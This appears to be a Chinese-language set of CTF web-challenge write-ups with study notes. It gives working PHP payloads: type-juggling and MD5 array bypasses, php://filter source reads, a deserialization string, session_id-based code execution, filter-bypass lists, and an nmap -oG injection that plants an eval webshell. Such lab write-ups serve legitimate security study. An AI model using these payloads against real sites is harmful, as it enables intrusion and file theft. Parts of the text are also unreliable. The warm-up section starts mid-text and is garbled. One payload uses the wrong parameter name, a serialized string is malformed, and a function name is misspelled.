[ACTF2020 新生赛]BackupFile
1.题目名字为backupfile(备份文件)
常见备份文件名后缀:.git .svn .swp .~ .bak .bash_history
2.使用dirsearch扫描网站后台目录
3.输入index.php.bak得到代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
4.发现为弱类型比较
5.输入payload
?id=123
[ZJCTF 2019]NiZhuanSiWei1
题目提供了php代码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
- 查看代码可得知,“text”变量用于与字符串"welcome to the zjctf"比较,需要两者相等才能进入下层。“file”则用于进入文件并且变量中不可包含“flag”字符,”password“则含有一个序列化漏洞
从第一个变量入手,开始编写payload,使用php的伪协议“data://”
?text=data://text/plain,welcome to the zjctf
得到回显“welcome to the zjctf“
接下来第二个变量,直接”file=useless.php“并无任何变化,再次使用php伪协议,使用base64过滤器
file=php://filter/read=convert.base64-encode/resource=useless.php
同时与前面的text变量结合,”welcome to the zjctf“需要进行base64编码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php的base64编码
进行解码后可得到一份php文件
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
可以看到__tostring()为魔法函数__(__toString() 把类当作字符串使用时触发,返回值需要为字符串)
所以文件含有序列化漏洞,将php文件进行编写
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password = new Flag(); echo serialize($password); ?>
可以得到O:4:"flag":1:{s:4"file";s:8:"flag.php";},接下来进行编写payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"flag":1:{s:4:"file";s:8:"flag.php";}
- 查看网页源代码即可获得flag
[MRCTF2020]Ez_bypass
进入题例直接查看源代码
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }<br />
- 发现题目有共含有两关。第一个为MD5函数的强类型比较,第二个为判断变量是否为数字或数字字符串,当变量不为数字时则输出flag
第一关,MD5强类型比较使用数组绕过
payload:?id[]=1&gg[]=2
第二关is_numeric函数判断,可在数字后加字母进行绕过,使用HackBar输入
payload:passwd=1234567a
- 输入后回显flag
warm up(xyctf)
进入网页得到提示代码
<?php ?> -oG attack.php ' 2. escapeshellarg(host):$host=''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\''' 首先会使用转义符\对单引号'进行转义'\'',并在字符串两端加上单引号''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''' 3. escapeshellcmd(host):$host=''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG attack.php '\\''' 对于上文包含的特殊符前会插入反斜杠进行转义,另外在不成对的单引号和双引号前也会插入反斜杠进行转义,此处单引号均成对儿无需转义。_ 4. 最后\\ 解释为\而非转义符,所以后面的单引号''成了空白连接符,一句话木马中的反斜杠均为转义字符,最后同为非转义字符,形成连接符。简化为:''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\''' 5. 带入到system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);为nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\''' 6. 利用nmap -oG 参数将命令语句和执行结果存储到attack.php文件中,这样一句话木马就以php文件格式上传到目录上。 7. 最后根据回显文件名利用蚁剑完成连接获取flag。
[GXYCTF2019]禁止套娃
用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头
Cookie:PHPSESSID
在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload
/?exp=show_source(session_id(session_strat()));
- 抓包写入cookie头
利用函数找到并代替flag.php
?exp=print_r(scandir(pos(localeconv())));
localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组
PHP array_reverse() 函数数组反转
PHP next() 函数 数组指针移动下一位
先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件知识点
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
[BJDCTF2020]Mark loves cat
- .git泄露
- 分析源码
从各个参数构造
- yds:当get包内没有flag值时,输出yds值,将yds变量覆盖为flag,即可读取(?yds=flag)
- is:
[WUSTCTF2020]朴实无华
- robots.txt给出文件/fAke_f1agggg.php
- 读取给出flag{this_is_not_flag},但在数据包中给出 look_at_me: /fl4g.php
- 进行RCE
- 得到flag
[安洵杯 2019]easy_web
网站url
http://e5819628-4130-4fe0-bf56-a0360ded2d1a.node5.buuoj.cn:81/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
且源码有 base64
- img文件为base64双重编码,加十六进制编码
- 将index.php进行编码传入,得到源码
- 进行代码审计
上传payload
知识点
1.比较符号
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
2.php伪协议
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
1.file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
2.php://
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流
3.php://filter
读取源代码并编码输出,例如:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
条件:allow_url_fopen=off/on;allow_url_include=off/on
作用:用过滤器读写数据流 读写文件
用法:格式为php://filter/[write] or [read]=[过滤器]/[resource]=[文件路径]
说明:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
4.php://input
php://input执行post数据中的代码:
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的
5.data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
data:// — 数据流读写
条件:allow_url_fopen=on;allow_url_include=on
作用:作为一个封装器对进行数据流读写
使用格式:data://text/plain,[code]
eg: data://text/plain,base64,[code]
比如:
通过data://text/plain协议来进行漏洞利用。
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
url=data://text/plain,<?php print_r(glob("*")); ?>
3.特殊的MD5码
0e215962017
payload:param1=QNKCDZO¶m2=aabg7XSs
payload:param1[]=111¶m2[]=222
payload:param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
https://www.jianshu.com/p/2cb9253a0da1
4..shell脚本中$的多种用法
变量名 | 含义 |
---|---|
$0 | 脚本本身的名字 |
$1 | 脚本后所输入的第一串字符 |
$2 | 传递给该shell脚本的第二个参数 |
$* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
$@ | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
$_ | 表示上一个命令的最后一个参数 |
$# | #脚本后所输入的字符串个数 |
$$ | 脚本运行的当前进程ID号 |
$! | 表示最后执行的后台命令的PID |
$? | 显示最后命令的退出状态,0表示没有错误,其他表示由错误 |
5.Bash 内建命令
PPID : 该bash的呼叫者process ID.
PWD : 目前的工作目录。
OLDPWD : 上一个工作目录。
REPLY : 当read命令没有参数时,直接设在REPLY上。
UID : User ID。
EUID : Effective User ID。
BASH : Bash的完整路径。
BASH_VERSION : Bash版本。
SHLVL : 每次有Bash执行时,数字加一。
RANDOM : 每次这个参数被用到时,就会产生一个乱数在RANDOM上。
SECONDS : 从这个Shell一开始启动後的时间。
LINENO : Script的行数。
HISTCMD : 历史记录数。
OPTARG : getopts处理的最後一个选项参数。
OPTIND : 下一个要由getopts所处理的参数号码。
HOSTTYPE : 机器种类。
OSTYPE : 作业系统名称。
IFS : Internal Field Separator。
PATH : 命令搜寻路径。
PATH="/usr/gnu/bin:/usr/local/bin:/usr/ucb:/bin:/usr/bin:."
HOME : 目前使用者的home directory;
CDPATH : cd命令的搜寻路径。
ENV : 如果这个参数被设定,每次有shell script被执行时,将会执行它所设定的档名做为环境设定。
MAIL : 如果这个参数被设定,而且MAILPATH没有被设定,那麽有信件进来时,bash会通知使用者。
MAILCHECK : 设定多久时间检查邮件一次。
MAILPATH : 一串的邮件检查路径。
MAIL_WARNING : 如果有设定的话,邮件被读取後,将会显示讯息。
PS1 : 提示讯息设定,内定为"bash$ "。(请详见提示讯息一节。)
PS2 : 第二提示讯息设定,内定为"> "。
PS3 : select命令所使用的提示讯息。
PS4 : 执行追踪时用的提示讯息设定,内定为"+ "。
HISTSIZE : 命令历史记录量,内定为500。
HISTFILE : 历史记录档,内定~/.bash_history。
HISTFILESIZE : 历史记录档行数最大值,内定500。
OPTERR : 如果设为1,bash会显示getopts的错误。
PROMPT_COMMAND : 如果设定的话,该值会在每次执行命令前都显示。
IGNOREEOF : 将EOF值当成输入,内定为10。
TMOUT : 如果设为大於零,该值被解译为输入等待秒数。若无输入,当成没有输入。
FCEDIT : fc命令的内定编辑器。
FIGNORE : 请详见READLINE。
INPUTRC : readline的startup file,内定~/.inputrc
notify : 如果设定了,bash立即报告被终结的背景程式。
history_control, HISTCONTROL : history使用。
command_oriented_history : 存入多行指令。
glob_dot_filenames : 如果设定了,bash将会把"."包含入档案路径中。
allow_null_glob_expansion : 如果设定了,bash允许路径明称为null string。
histchars : history使用。
nolinks : 如果设定了,执行指令时,不会跟随symbolic links。
hostname_completion_file, HOSTFILE : 包含与/etc/hosts相同格式的档名。
noclobber : 如果设定了,Bash不会覆写任何由">"、">&"及"<>"所操作的档案。
auto_resume : 请见任务控制一节。
no_exit_on_failed_exec : 如果该值存在,非互动的shell不会因为exec失败而跳出。
cdable_vars : 如果启动,而cd命令找不到目录,可切换到参数形态指定的目录下。
6.Makefile中的$@, $^, $< , $?, $%, $+, $*
$@ 表示目标文件
$^ 表示所有的依赖文件
$< 表示第一个依赖文件
$? 表示比目标还要新的依赖文件列表
$% 仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是“foo.a(bar.o)”,那么,“$%”就是“bar.o”,“$@”就是“foo.a”。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。
$+ 这个变量很像“$^”,也是所有依赖目标的集合。只是它不去除重复的依赖目标。
$* 这个变量表示目标模式中“%”及其之前的部分。如果目标是“dir/a.foo.b”,并且目标的模式是“a.%.b”,那么,“$”的值就是“dir/a.foo”。这个变量对于构造有关联的文件名是比较有较。如果目标中没有模式的定义,那么“$*”也就不能被推导出,但是,如果目标文件的后缀是make所识别的,那么“$”就是除了后缀的那一部分。例如:如果目标是“foo.c”,因为“.c”是make所能识别的后缀名,所以,“$*”的值就是“foo”。这个特性是GNU make的,很有可能不兼容于其它版本的make,所以,你应该尽量避免使用“$”,除非是在隐含规则或是静态模式中。如果目标中的后缀是make所不能识别的,那么“$”就是空值。
7.escapeshellarg()函数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
8.escapeshellcmd()函数
用于转义字符串,并删除任何特殊字符,使其安全用作单个命令
使用escapeshellarg
和escapeshellcmd
表明试图防止命令注入漏洞,漏洞详情查看[BUUCTF 2018]Online Tool
9.session_id
见[GXYCTF2019]禁止套娃
10.绕过方式
代替cat: more、less、head、tail、sort、ca\t
代替空格:$IFS、${IFS}、$IFS$1、$IFS$9、%20
tac 从最后一行往前显示
more 一页一页显示内容
less 相当于more
tail 查看末尾几行
nl 显示时加上行号
od 以二进制方式读取
xxd 左边显示二进制,右边显示编码
sort 用于排序文件
https://blog.csdn.net/weixin_46765649/article/details/134276227?ops_request_misc=%257B%2522request%255Fid%2522%253A%25228FEF1A73-56BD-4D7A-B4B6-A6979422C7EA%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=8FEF1A73-56BD-4D7A-B4B6-A6979422C7EA&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-134276227-null-null.142^v100^pc_search_result_base4&utm_term=ls%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4187
使用 show_source 或者 highlight_file; copy 函数(copy("flag.php","flag.txt"));rename 函数(将 flag.php 重命名为 txt 文件,之后直接访问读取);file_get_contents 函数(使用 file_get_contents 进行读取,再配合 echo 输出);readfile 函数(读取文件并写入到输出缓冲);file 函数(print_r(file("flag.php")))
scandir(扫描目录)
var_dump打印变量的相关信息
print_r输出字符串